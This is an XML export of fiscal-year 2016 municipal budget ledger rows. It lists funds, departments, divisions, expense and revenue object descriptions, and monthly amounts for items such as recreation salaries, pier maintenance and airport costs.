<row _id="20336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>150</total></row>
<row _id="20337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>24768</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24768</total></row>
<row _id="20338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>31332</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31332</total></row>
<row _id="20339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16629</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16629</total></row>
<row _id="20340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>929</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>929</total></row>
<row _id="20341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11509</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11509</total></row>
<row _id="20342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>70</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70</total></row>
<row _id="20343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1100</total></row>
<row _id="20344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4150</total></row>
<row _id="20345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>76102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76102</total></row>
<row _id="20346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>72</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>72</total></row>
<row _id="20347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544440.0</object><object_description>WEBSITE DEVOP &amp; MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6018</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6018</total></row>
<row _id="20349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3042</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3042</total></row>
<row _id="20350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>134987</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>134987</total></row>
<row _id="20351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>219</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>219</total></row>
<row _id="20352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>52953</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52953</total></row>
<row _id="20353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1219</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1219</total></row>
<row _id="20354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1519</total></row>
<row _id="20355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="20356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>29400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29400</total></row>
<row _id="20357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2985</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2985</total></row>
<row _id="20358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>140</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>140</total></row>
<row _id="20359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2724</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2724</total></row>
<row _id="20360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3115</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3115</total></row>
<row _id="20361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>122337</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>122337</total></row>
<row _id="20362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15500</total></row>
<row _id="20363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>104050</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>104050</total></row>
<row _id="20365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>195763</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>195763</total></row>
<row _id="20366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5099</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5099</total></row>
<row _id="20367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1296</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1296</total></row>
<row _id="20368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12000</total></row>
<row _id="20369"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405760.0</object><object_description>ENHANCEMENT PURCHASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>556050.0</object><object_description>LA MARATHON</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>177875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>177875</total></row>
<row _id="20371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560030.0</object><object_description>RAIN BARREL PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13499</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13499</total></row>
<row _id="20372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>401170.0</object><object_description>ELECTION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-700</total></row>
<row _id="20373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="20374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>685</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>685</total></row>
<row _id="20375"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>467581</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>467581</total></row>
<row _id="20376"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14020</total></row>
<row _id="20377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>240</total></row>
<row _id="20379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>32654</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32654</total></row>
<row _id="20380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2037</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2037</total></row>
<row _id="20381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1027</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1027</total></row>
<row _id="20382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>313</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>313</total></row>
<row _id="20383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1020</total></row>
<row _id="20384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="20385"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>950</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>950</total></row>
